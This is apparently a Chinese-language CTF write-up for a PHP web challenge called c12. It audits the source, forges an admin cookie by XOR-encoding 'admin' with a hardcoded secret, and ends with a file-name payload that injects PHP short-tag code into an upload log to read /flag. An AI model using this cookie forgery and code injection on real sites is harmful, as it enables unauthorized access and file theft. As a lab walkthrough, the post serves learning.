这场比赛菜鸡虽然很菜,但是还是要记一下做题过程加赛后复现
c12
这题第十二题是一题web题,源码也不是很多,我们可以先审计一下user.php
内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
<?php include "config.php" ;include "function.php" ;$username="" ; if (!is_login() && !isset ($_POST["username" ]) && !isset ($_POST["password" ])){ header('Location: index.php' ); die ; } if ($username==="" ){ $stmt=$con->prepare("select * from users where username=?" ); $stmt->bind_param("s" ,$_POST["username" ]); $stmt->execute(); $result=$stmt->get_result(); $row=$result->fetch_assoc(); if ($row["password" ]===$_POST["password" ]) { $username=$_POST["username" ]; setcookie("username" ,encode($username,$secret)); } else { header('Location: index.php' ); die ; } } $admin_html=<<<EOF Hello, admin! <form action="upload.php" method="post"enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> EOF; if ($username!=="admin" ){ echo "Hello, {$username}, if you are admin, I will give you a surprise." ; } else { echo $admin_html; }
很明显可以看到,只要过了!is_login() && !isset($_POST["username"]) && !isset($_POST["password"])
这个条件,只要username
是admin
就能直接以管理员的身份登录进去 接下来就是跟过去看一下is_login
判断的是什么了
1 2 3 4 5 6 7 8
function is_login () { global $username,$secret; if (!isset ($_COOKIE["username" ])) return false ; $username=decode($_COOKIE["username" ],$secret); return true ; }
登录验证也很简单,没有cookie
就直接返回没登录,有的话decode
出来的username
就是用户了 而且encode
和decode
也都给了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
function encode ($str,$key) { $tmp="" ; for ($i=0 ;$i<strlen($str);$i++) { $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)])); } return base64_encode($tmp); } function decode ($str,$key) { $str=base64_decode($str); $tmp="" ; for ($i=0 ;$i<strlen($str);$i++) { $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)])); } return $tmp; }
最最最值得说的是,连secret
都给了$secret="!*(fp60zoy";
接下来直接按着他的方式加密过去改下cookie
就能直接登录进去了
1 2 3 4 5 6 7 8 9 10 11 12
function encode ($str,$key) { $tmp="" ; for ($i=0 ;$i<strlen($str);$i++) { $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)])); } return base64_encode($tmp); } $secret="!*(fp60zoy" ; $username = "admin" ; echo encode($username, $secret);
登录进去以后就能看到一个文件上传的框了,再跟过去看一下upload
的源码,这个只放关键部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
<?php is_login(); if ($username!=="admin" ){ } if (!$_FILES["file" ]["name" ]){ } $file_name=$_FILES["file" ]["name" ]; if (preg_match("/php/i" ,$file_name)){ } file_put_contents("logs/upload.log.php" ,"User {$username} uploaded file {$file_name}.\n" ,FILE_APPEND); echo "I logged the file name you uploaded. LOL<script>setTimeout('location.href=\"user.php\"',3000);</script>" ;
可以看到,即使我们过了各种waf,也只是将文件名写进去upload.log.php
文件里面而已,但是我们可以控制文件名鸭,所以接下来就是控制文件名写个shell
了,因为php
不能用,所以我们可以直接<? xxx
去让php执行,所以最后就是<?= 123; var_dump(file_get_content('/flag')); ?>
去拿flag了
评论